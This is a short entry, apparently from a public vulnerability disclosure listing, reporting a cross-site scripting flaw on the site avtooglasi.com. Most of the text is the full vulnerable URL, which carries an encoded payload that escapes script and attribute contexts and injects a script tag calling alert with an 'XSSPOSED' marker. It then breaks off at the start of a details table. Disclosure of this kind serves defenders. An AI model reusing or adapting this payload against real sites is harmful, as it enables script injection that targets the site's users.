avtooglasi.com XSS vulnerability

Vulnerable URL: http://www.avtooglasi.com/index.php?mod=stk〈=si=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E=aog=1==ov=----%3E&p2;=1.000=ma=1&y1;=2010=B Details: Description| Value ---|--...